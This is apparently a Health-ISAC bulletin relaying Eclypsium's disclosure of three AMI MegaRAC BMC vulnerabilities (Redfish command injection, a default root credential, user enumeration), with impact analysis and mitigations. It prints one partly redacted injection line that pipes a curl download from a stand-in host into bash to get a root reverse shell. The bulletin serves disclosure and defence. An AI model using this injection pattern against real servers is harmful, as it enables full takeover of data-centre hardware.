VULNERABILITY BULLETINS

AMI MegaRAC BMC&C Vulnerabilities

TLP:WHITE

Dec 05, 2022

Summary:

Eclypsium Research has discovered and reported 3 vulnerabilities in American Megatrends, Inc. (AMI) MegaRAC Baseboard Management Controller (BMC) software. Eclypsium is referring to the vulnerabilities collectively as BMC&C.

Health-ISAC is distributing the following vulnerability bulletin in coordination with Eclypsium to create situational awareness surrounding the vulnerabilities in American Megatrends. All members are encouraged to visit the original blog post Supply Chain Vulnerabilities Put Server Ecosystem at Risk.

Eclypsium Blog Post: MegaRAC BMC is widely used by many leading server manufacturers to provide “lights-out” management capabilities for their server products. Server manufacturers that are known to have used MegaRAC BMC include but are not limited to the following:

- AMD
- Ampere Computing
- ASRock
- Asus
- ARM
- Dell EMC
- Gigabyte
- Hewlett-Packard Enterprise
- Huawei
- Inspur
- Lenovo
- Nvidia
- Qualcomm
- Quanta
- Tyan

The BMC&C vulnerabilities range in severity from Medium to Critical, including remote code execution and unauthorized device access with superuser permissions. The vulnerabilities can be exploited by remote attackers having access to remote management interfaces (Redfish, IPMI). Redfish is the successor to

traditional IPMI and provides an API standard for the management of a server's infrastructure and other infrastructure supporting modern data centers. Redfish is supported by virtually all major server and infrastructure vendors, as well as the OpenBMC firmware project

Analysis:

These vulnerabilities pose a major risk to the technology supply chain that underlies cloud computing. In short, vulnerabilities in a component supplier affect many hardware vendors, which in turn can pass on to many cloud services. As such these vulnerabilities can pose a risk to servers and hardware that an

organization owns directly as well as the hardware that supports the cloud services that they use.

BMCs are designed to provide administrators with near total and remote control over the servers they manage. AMI is a leading provider of BMCs and BMC firmware to a wide range of hardware vendors and cloud service providers. As a result, these vulnerabilities potentially affect a very large number of devices, and could enable attackers to gain control of or cause damage not only to devices but to data centers and cloud services.

The vulnerabilities discovered are addressed by the following CVEs:

- CVE-2022-40259 - Arbitrary Code Execution via Redfish API
- CVE-2022-40242 - Default credentials for UID = 0 shell via SSH
- CVE-2022-2827 - User enumeration via AP

The impact of exploiting these vulnerabilities include remote control of compromised servers, remote deployment of malware, ransomware and firmware implants, and server physical damage (bricking). At this time, it is unknown whether these vulnerabilities are under active exploitation.

These risks are magnified by MegaRAC's position as the world's leading provider of BMC remote management firmware, sitting at the top of the BMC supply chain. This firmware is a foundational component of modern computing found in hundreds of thousands of servers in data centers, server farms, and cloud

infrastructure around the world. And since devices in these environments typically standardize on a hardware configuration, a vulnerable configuration could likely be shared across thousands of devices. Additionally, some of this research was enabled by the discovery of a substantial amount of AMI intellectual property on the Internet. The availability of this information could naturally increase the likelihood of attacks in the wild.

Eclypsium Research has been following a Coordinated Vulnerability Disclosure process, including AMI and other affected parties. Additionally, AMI and Eclypsium have reached out to multiple parties who are working to determine the scope of impacted products and services.

About MegaRAC Baseboard Management Controllers (BMCs)

Baseboard Management Controllers (BMCs) are powerful and privileged components that provide out-of-band management for

modern servers. For all intents and purposes, a BMC is a fully functional independent computer within a server, equipped with its own independent power, firmware, memory, and networking

stack. This allows remote administrators to control virtually everything on the device from low-level hardware settings to managing the host operating system, virtual hosts, applications, or data. The BMC can allow administrators to manage the host even when the host itself is powered off.

The unique power and capabilities of BMCs make them particularly dangerous if compromised by attackers. Recently, attackers used BMC implants known as iLOBleed to attack data centers and completely wipe the disks of servers. Just as importantly, iLOBleed used the unique powers of firmware to do this repeatedly.

Since the malicious code was hidden within the BMC firmware, the implant was able to persist even after the server operating system was reinstalled, enabling the attacker to repeat the cycle of destroying data after the server was recovered. Additionally, the implant took the added steps of silently preventing the system from updating the BMC firmware while spoofing results to make it appear that the firmware had been updated. While the iLOBleed implants are not directly related to the BMC&C vulnerabilities, they serve as a real-world example of the damage attackers can inflict on a large number of devices with access to their BMCs.

A Fault Line in the Cloud Supply Chain

To properly appreciate the scope of the BMC&C vulnerabilities, it is important to understand the role AMI MegaRAC plays in the supply chain of cloud data centers. Naturally, many enterprises are attracted to the cloud due to the ability to abstract computing resources from the cost and ongoing maintenance of physical hardware. However, clouds still ultimately run on hardware and that translates to vast numbers of servers from many different vendors.

MegaRAC BMC firmware is one of the common threads that connects much of the hardware that underlies the cloud. As a result, any vulnerability in MegaRAC can easily spread through the extended supply chain to affect dozens of vendors and potentially millions of servers. Additionally, in order to abstract computing

from the hardware, it is critical that the physical servers within a data center are interchangeable. To this end, cloud providers standardize

on server components, hardware configurations, firmware & operating system versions, and hypervisor software. So if a vulnerable BMC is used in a data center environment, it is

highly likely that hundreds or thousands of devices will share that same vulnerability. In the context of an attack, this could potentially put entire clouds at risk.

Discovery Process

In August 2022, Eclypsium Research was made aware of a leak of intellectual property, purported to come from AMI, which had been posted online. After downloading and reviewing the data, it appeared legitimate, and since there was a chance others had accessed it the decision was made to look for vulnerabilities in case malicious actors were doing the same. The focus quickly narrowed down to the Redfish API, as it is remotely accessible and a first choice for attackers.

Vulnerability Details

- CVE-2022-40259 - Arbitrary Code Execution via Redfish API
- CVE-2022-40242 - Default credentials for UID = 0 shell via SSH
- CVE-2022-2827 - User enumeration via API

BMC&C Attack Scenario

CVE-2022-40259 - Arbitrary Code Execution via Redfish API

CVSS v3.1 Score : **9.9 Critical**

(CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)

To find this issue, initially we reviewed for potentially dangerous calls such as command execution calls. We narrowed it down only to calls exposed to the user, and there was one sitting in the Redfish API implementation. The only complication is the attack sits in the path parameter, but it is not URL-decoded by the

framework, so the exploit needs to be crafted specially to both be valid per URL and valid per bash shell command. The exploit looks roughly as follows (note that we have edited out a few details - like

where it actually is - so as not to release a ready-made exploit for attackers):

http://<device>/super/secret/path;curl${IFS}domain.com|bash;

The path needs to be sent as-is in the HTTP request. domain.com needs to host a reverse shell (we will not be providing one, but it uses an available scripting language present on-board and is otherwise unremarkable). This exploit leads straight into a UID = 0 shell (UID = 0 user, confusingly, is called sysadmin), and does

require the attacker to have a minimum access level on the device (Callback or up).

CVE-2022-40242 - Default credentials for UID = 0 shell via SSH

CVSS v3.1 Score : **8.3 High**

(CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H)

As a second part for enumeration, we looked for available credentials in normal locations for a Linux system. We found a hash in /etc/shadow for the sysadmin user and managed to crack it. The password looked like a default, and we managed to find backreferences to it going as far back as 2014 by other people. Finding them is left as an exercise to the reader.

CVE-2022-2827 - User enumeration via API

CVSS v3.1 Score : **7.5 High**
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

When making a request for a password reset, one of the parameters can be manipulated in such a way that it is possible to determine whether the user exists or not, with no prior knowledge other than the username itself. The vulnerability also allows an attacker to test for the presence of user accounts by iterating

through a list of possible account names.

Attack Scenarios

The first two CVEs (CVE-2022-40259, CVE-2022-40242) lead straight into the UID = 0 administrative shell, with no further escalation necessary. CVE-2022-40259 requires prior access to at

least a low-privilege account (Callback privileges or higher), while CVE-2022-40242 requires nothing more than remote access to the

device, albeit on some devices this account may be disabled. The third vulnerability (CVE-2022-2827) would require additional steps for full exploitation; e.g. it allows for pinpointing pre-existing users and does not lead into a shell but would provide an attacker a list of targets for brute force or credential stuffing attacks.

These vulnerabilities can pose serious risks in any case in which an attacker has access to an affected server's BMC. As a security best practice, BMCs should not be directly exposed to the Internet and scans performed after the initial disclosure indicate that public exposure is relatively low compared to recent high-profile vulnerabilities in other infrastructure products. However, it is quite common to find BMCs that are exposed due to either misconfigurations or poor security hygiene. Additionally, these vulnerabilities could be exploited by an attacker that has gained initial access into a data center or administrative network. As data

centers tend to standardize on specific hardware platforms, any BMC-level vulnerability would most likely apply to large numbers of devices and could potentially affect an entire data center and the services that it delivers. Due to the nature and location of BMC vulnerabilities, detecting exploitation is complex as

standard EDR & AV products focus on the operating system, not the underlying firmware.

Mitigations

- Ensure that all remote server management interfaces (e.g. Redfish, IPMI) and BMC subsystems in their environments are on their dedicated management networks and are not exposed externally, and ensure internal BMC interface access is restricted to administrative users with ACLs or firewalls.
- Review vendor default configurations of device firmware to identify and disable built-in administrative accounts and/or use remote authentication where available.
- Perform regular software and firmware updates in critical servers.
- Ensure that vulnerability assessments include remote server management subsystems (like MegaRAC, iDRAC, iLO, etc.) and critical firmware.

- Ensure that all critical firmware in servers is regularly monitored for indicators of compromise or unauthorized modifications.
- Perform supply chain checks of new equipment. Assess that all new servers have major vulnerabilities patched and the latest firmware updates installed.
- For Eclypsium customers, the platform will provide coverage of recently discovered vulnerabilities through a new functionality that will dynamically update scan results.

Conclusions

Securing the firmware supply chain is a complex problem, and vulnerabilities found at the top of the chain present substantial risk due to the way OEMs integrate code into their products. Firmware vulnerabilities are non-trivial to remediate due the fact their location in the computing stack is not optimized for patching at scale. Furthermore, standardization of hosting & cloud providers on server components means these vulnerabilities can easily impact hundreds of thousands, possibly millions of systems.

As attackers shift their focus from user facing operating systems to the lower level embedded code which hardware relies on, compromise becomes harder to detect and exponentially more complex to remediate. While compromise of a server OS can be resolved with a wipe & reinstallation, firmware compromise has

the potential to remain beyond reinstallation and even more drastic measures like hard drive replacement. Security research into this area is imperative to stay a step ahead of the attacks and protect the foundation upon which modern computing relies on.

Reference(s)	Eclypsium

Alert ID 23007804

Tags AMI MegaRAC BMC&C Vulnerabilities, Eclypsium, Vulnerability

TLP:WHITE Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.

For Questions or Comments

Please email us at toc@h-isac.org

Download Health-ISAC's Information Sharing App. 

For more update and alerts, visit: **https://health-isac.cyware.com**